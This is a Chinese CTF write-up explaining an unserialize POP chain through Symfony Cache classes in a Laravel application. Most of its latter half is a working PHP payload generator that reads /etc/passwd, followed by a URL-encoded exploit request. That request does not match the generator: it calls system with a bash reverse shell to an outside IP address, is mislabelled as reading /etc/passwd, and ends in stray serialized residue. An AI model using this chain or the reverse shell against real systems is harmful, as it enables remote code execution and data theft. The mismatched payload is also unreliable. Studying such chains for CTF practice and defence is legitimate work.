这道题因为非预期的日志文件,直接给出了payload,但是由于我自己没看到,自己找了好久好久,2333,发现自己的POP链和出题师傅的点有点不太一样,故发出来分享下自己的POP链挖掘思路
public function index(\Illuminate\Http\Request $request){ $payload=$request->input("payload"); if(empty($payload)){ highlight_file(__FILE__); }else{ @unserialize($payload); } }
代码很简单,很明显是让找POP链,最后能读取文件即可
既然直接给了一个unserialize,其他的什么都没有,所以首先考虑魔法函数__destruct
那么我们在全局搜索一下__destruct
可以发现有很多匹配的结果,没办法了,硬着头皮看吧
找了很久,终于发现了一处__destruct
可以利用一下,但是有一些限制
这个类里面有一个__destruct
方法,调用了commit方法
public function __destruct() { $this->commit(); }
之后commit方法又调用了invalidateTags这个方法
public function commit() { return $this->invalidateTags([]); }
我们跟进invalidateTags这个方法看看
public function invalidateTags(array $tags) { $ok = true; $tagsByKey = []; $invalidatedTags = []; foreach ($tags as $tag) { CacheItem::validateKey($tag); $invalidatedTags[$tag] = 0; } if ($this->deferred) { $items = $this->deferred; foreach ($items as $key => $item) { if (!$this->pool->saveDeferred($item)) { unset($this->deferred[$key]); $ok = false; } } $f = $this->getTagsByKey; $tagsByKey = $f($items); $this->deferred = []; } $tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags); $f = $this->createCacheItem; foreach ($tagsByKey as $key => $tags) { $this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key])); } $ok = $this->pool->commit() && $ok; if ($invalidatedTags) { $f = $this->invalidateTags; $ok = $f($this->tags, $invalidatedTags) && $ok; } return $ok; }
要注意的是,我们可以控制整个TagAwareAdapter类中的成员变量,所以我们可以控制所有的$this->xxx这样子的变量。
在这一段代码中
foreach ($items as $key => $item) {
if (!$this->pool->saveDeferred($item)) {
unset($this->deferred[$key]);
$ok = false;
}
}
我们可以发现,我们可以调用任意一个实现了saveDeferred方法的类,所以我们可以找到这些类
在刚开始的时候,我找的是ProxyAdapter这个类,为什么呢
public function saveDeferred(CacheItemInterface $item) { return $this->doSave($item, __FUNCTION__); } private function doSave(CacheItemInterface $item, $method) { if (!$item instanceof CacheItem) { return false; } $item = (array) $item; if (null === $item["\0*\0expiry"] && 0 < $item["\0*\0defaultLifetime"]) { $item["\0*\0expiry"] = microtime(true) + $item["\0*\0defaultLifetime"]; } if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) { $innerItem = $item["\0*\0innerItem"]; } elseif ($this->pool instanceof AdapterInterface) { // this is an optimization specific for AdapterInterface implementations // so we can save a round-trip to the backend by just creating a new item $f = $this->createCacheItem; $innerItem = $f($this->namespace.$item["\0*\0key"], null); } else { $innerItem = $this->pool->getItem($this->namespace.$item["\0*\0key"]); } ($this->setInnerItem)($innerItem, $item); return $this->pool->$method($innerItem); }
我们只要传入的$item
是一个CacheItem类型,就可以进到下面的if条件中
看到一句代码了吗$innerItem = $f($this->namespace.$item["\0*\0key"], null);
,这一句代码中:
$f
这个变量是来自于$this->createCacheItem,我们可控$item["\0*\0key"]
这个变量,来自于上面的$item = (array) $item;
这里有一个很有意思的点,如果一个对象被强行转换为array的时候,他里面的属性会变成这个样子:
$item
数组我们是完全可以控制的既然这个不行,那我们就换一个呗,毕竟那么多实现了saveDeferred方法的类
但是,虽然那么多的类,但是能用来利用的只能找到一个:PhpArrayAdapter类
我们看一下这个类中的saveDeffer方法
public function saveDeferred(CacheItemInterface $item) { if (null === $this->values) { $this->initialize(); } return !isset($this->keys[$item->getKey()]) && $this->pool->saveDeferred($item); }
进入到initialize这个方法,发现在本类中并没有定义,而是在一个trait这个关键词修饰的类中trait PhpArrayTrait
看一下trait这个关键词的用法
trait
这个关键词是php为了解决单继承的问题而特意建立的,在java这种面向对象的语言中,继承都是单继承的,一个类只能继承一个父类,这样确实体现了面向对象的思想,但是单继承在有的时候不是很方便
我们通过phpstorm的继承图生成可以清楚的看到PhpArrayAdapter这个类的继承关系
那么在本类中没有定义initialize这个方法的话,自然就会去父类中寻找,我们来看看父类的initialize方法:
private function initialize() { if (!file_exists($this->file)) { $this->keys = $this->values = []; return; } $values = (include $this->file) ?: [[], []]; if (2 !== \count($values) || !isset($values[0], $values[1])) { $this->keys = $this->values = []; } else { list($this->keys, $this->values) = $values; } }
我们可以在PhpArrayAdapter中定义好$this->file
这个变量,那么在调用initialize方法的时候,只要这个file是一个存在的文件,就会调用include来包含进去,最后就可以读取到flag了
出题人的官方的POP链可以直接做到命令执行,tql
最后的payload:
<?php namespace Symfony\Component\Cache{ use Symfony\Component\Cache\Adapter\ProxyAdapter; final class CacheItem{ protected $key; protected $value; protected $isHit = false; protected $expiry; protected $defaultLifetime; protected $metadata = []; protected $newMetadata = []; protected $innerItem; protected $poolHash; protected $isTaggable = false; public function __construct() { $this->expiry = 'sjdjfkas'; $this->poolHash = '123'; $this->key = ''; } } } namespace Symfony\Component\Cache\Adapter{ use Symfony\Component\Cache\CacheItem; use Symfony\Component\Ldap\Adapter\ExtLdap\Adapter; class PhpArrayAdapter{ private $file; public function __construct() { $this->file = '/etc/passwd'; } } class ProxyAdapter{ private $namespace; private $namespaceLen; private $createCacheItem; private $setInnerItem; private $poolHash; private $pool; public function __construct() { $this->pool = new ChainAdapter(); $this->createCacheItem = 'call_user_func'; $this->namespace = 'phpinfo'; } } class TagAwareAdapter{ private $deferred = []; private $createCacheItem; private $setCacheItemTags; private $getTagsByKey; private $invalidateTags; private $tags; private $knownTagVersions = []; private $knownTagVersionsTtl; private $pool; public function __construct() { $this->deferred = array('flight' => new CacheItem()); $this->pool = new PhpArrayAdapter(); } } } namespace { use Symfony\Component\Cache\Adapter\TagAwareAdapter; $obj = new TagAwareAdapter(); echo urlencode(serialize($obj)); }
读取/etc/passwd
http://localhost/pop_chain/laravel/public/index.php/index?payload=O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bi%3A1%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A45%3A%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F115.159.184.127%2F9998%200%3E%261%22%3Bs%3A11%3A%22%00%2A%00poolHash%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00%2A%00expiry%22%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A2%3A%7Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3Bs%3A54%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00poolHash%22%3Bs%3A1%3A%221%22%3B%7D%7D";}s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}}
这道题还是很有意思的,出题师傅的这个非预期有点难受,laravel,yii这些框架都有日志记录的。